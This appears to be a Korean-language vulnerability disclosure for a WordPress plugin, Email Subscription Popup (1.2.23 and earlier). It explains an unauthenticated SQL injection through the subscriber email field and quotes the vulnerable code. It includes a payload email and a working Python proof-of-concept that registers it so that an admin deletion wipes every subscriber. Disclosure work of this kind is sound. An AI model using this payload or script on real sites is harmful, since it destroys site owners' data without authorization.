Component type
WordPress plugin
Component details
Component name: Email Subscription Popup
Vulnerable version: <= 1.2.23
Component slug: email-subscribe
Component link: https://wordpress.org/plugins/email-subscribe/
Email Subscription Popup
This plugin shows you a beautiful newsletter subscription popup when someone enter to your site. You can even use widget that allow email subscription …
wordpress.org
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type: SQL Injection
Pre-requisite
Unauthenticated
Vulnerability details
Short description
권한이 없는 사용자가 SQL Injection 페이로드를 포함한 이메일 주소로 뉴스레터를 등록한 후, 관리자가 이를 구독자 관리 페이지에서 삭제할 경우, 해당 페이로드가 쿼리 내에서 실행되어 모든 구독자의 이메일 데이터가 삭제된다.
How to reproduce (PoC)
1. Email Subscription Popup 플러그인 1.2.23 이하 버전이 활성화된 워드프레스 사이트를 준비한다.
2. 아래 shortcode를 넣어 게시글을 작성한다.
[print_email_subscribe_form ]
3. 작성한 게시글에서 Subscribers 이메일과 아래의 PoC 이메일을 등록한다.
'/**/OR/**/1=1#@a.a
4. 관리자로 로그인하여 플러그인의 Manage Subscribers 페이지로 이동하고 PoC 이메일을 삭제하면 모든 Subscribers의 이메일이 삭제된다.
Additional information (optional)
사용자에게 받은 이메일이 파라미터 바인딩 없이 쿼리에 그대로 삽입되고 있다.
# wp-content/plugins/email-subscribe/wp-email-subscription.php
$em = sanitize_email($em);
if ($em != "") {
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
...
}
sanitize_email 함수는 @ 기준으로 앞부분은 local, 뒷부분은 domain으로 분류하여 이메일 형식으로 보정한다. domain 부분은 문자가 제한적이므로 안전하게 필터링 되지만 local 필터링이 지나치게 느슨하므로 보안 필터가 아니라는 것을 알 수 있다.
# wp-includes/formatting.php
function sanitize_email( $email ) {
...
list( $local, $domain ) = explode( '@', $email, 2 );
$local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local );
if ( '' === $local ) {
/** This filter is documented in wp-includes/formatting.php */
return apply_filters( 'sanitize_email', '', $email, 'local_invalid_chars' );
}
$domain = preg_replace( '/\.{2,}/', '', $domain );
if ( '' === $domain ) {
/** This filter is documented in wp-includes/formatting.php */
return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' );
}
...
}
따라서, local 부분에 페이로드를 삽입한 PoC가 email에 들어가면 최종적으로 아래의 쿼리가 실행된다.
delete from wp_nl_subscriptions where email=''/**/OR/**/1=1#@a.a'
Attach files (optional)
PoC Code
import re
import string
import random
import requests
TARGET = "http://localhost:8000"
AJAX_ENDPOINT = f"{TARGET}/wp-admin/admin-ajax.php"
def get_sec_string():
"""
Extract the 10-character 'sec_string' nonce value from the main page.
Returns the extracted string or None if not found.
"""
print("[*] Requesting main page to extract sec_string...")
response = requests.get(TARGET)
match = re.search(r"var nonce = '(.{10})';", response.text)
if match:
sec_string = match.group(1)
print(f"[+] Extracted sec_string: {sec_string}")
return sec_string
else:
print("[-] Failed to extract sec_string")
return None
def create_random_subscribers(sec_string, count=10):
"""
Generate random email subscribers using the provided sec_string.
"""
print(f"[*] Creating {count} random subscribers...")
base = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(count):
email = f"{base}_{i}@example.com"
name = f"{base}_{i}"
data = {
"action": "store_email",
"email": email,
"name": name,
"is_agreed": "true",
"sec_string": sec_string
}
response = requests.post(AJAX_ENDPOINT, data=data)
print(f"[+] Subscriber #{i} created: {email} / {name} (Status: {response.status_code})")
def create_malicious_email(sec_string):
"""
Send a maliciously crafted email input to test for SQL injection.
"""
malicious_email = "'/**/OR/**/1=1#@a.a"
data = {
"action": "store_email",
"email": malicious_email,
"name": "PoC",
"is_agreed": "true",
"sec_string": sec_string
}
response = requests.post(AJAX_ENDPOINT, data=data)
print(f"[+] Malicious subscriber created: {malicious_email} (Status: {response.status_code})")
def poc():
"""
Main PoC execution logic:
1. Extract sec_string.
2. Create normal subscribers.
3. Attempt SQLi using a malicious email.
"""
sec_string = get_sec_string()
if not sec_string:
return
create_random_subscribers(sec_string)
create_malicious_email(sec_string)
if __name__ == "__main__":
poc()
'Report > Zero-Day' 카테고리의 다른 글
CVE-2025-22783 (2) | 2025.05.12 |
---|---|
CVE-2025-22352 (0) | 2025.05.11 |
CVE-2025-26886 (0) | 2025.03.01 |
CVE-2025-26971 (0) | 2025.02.28 |
CVE-2025-22662 (0) | 2025.01.30 |